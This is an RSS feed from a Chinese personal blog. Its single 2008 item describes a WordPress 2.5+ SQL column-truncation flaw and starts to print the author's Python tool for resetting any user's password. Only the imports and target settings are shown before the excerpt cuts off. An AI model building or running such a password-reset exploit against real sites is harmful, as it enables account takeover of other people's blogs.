<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>可可熊的窝 &#187; exploit</title>
	<atom:link href="http://cocobear.info/blog/tag/exploit/feed/" rel="self" type="application/rss+xml" />
	<link>http://cocobear.info/blog</link>
	<description>K.I.S.S</description>
	<lastBuildDate>Sat, 10 Dec 2011 16:11:01 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>wordpress漏洞利用-更改任意用户的密码</title>
		<link>http://cocobear.info/blog/2008/09/09/wordpress-change-any-user-passwd/</link>
		<comments>http://cocobear.info/blog/2008/09/09/wordpress-change-any-user-passwd/#comments</comments>
		<pubDate>Tue, 09 Sep 2008 09:06:27 +0000</pubDate>
		<dc:creator>可可熊</dc:creator>
				<category><![CDATA[Python]]></category>
		<category><![CDATA[编程相关]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://cocobear.info/blog/?p=311</guid>
		<description><![CDATA[最近wordpress又出现了一个漏洞，详细描述见这里:http://milw0rm.com/exploits/6397，关于漏洞的形成原因这里:http://www.suspekt.org/2008/08/18/mysql-and-sql-column-truncation-vulnerabilities/有很好的描述，主要原因是由于wordpress对用户名的检查不足，使得过长的用户名可以注册，从而产生这个问题。 贴一下我写的利用工具，针对2.5及以上版本，可以更改（这里用重置更恰当）任意用户的密码，当然前提是这个wordpress开放了注册： #!/usr/bin/env python #coding=utf-8 #author: cocobear.cn@gmail.com #website:http://cocobear.info &#34;&#34;&#34; exploit description: http://milw0rm.com/exploits/6397 influencing: wordpress 2.5 and above This short code can change any user's password. &#34;&#34;&#34; import urllib,cookelib,urllib2,httplib import sys import poplib #all you need to do is change this two lines: base_url = &#34;http://cocobear.info/blog/&#34; hack_user= &#34;cocobear&#34; def init(): cookie = cookielib.CookieJar() opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie)) [...]]]></description>
		<wfw:commentRss>http://cocobear.info/blog/2008/09/09/wordpress-change-any-user-passwd/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
	</channel>
</rss>

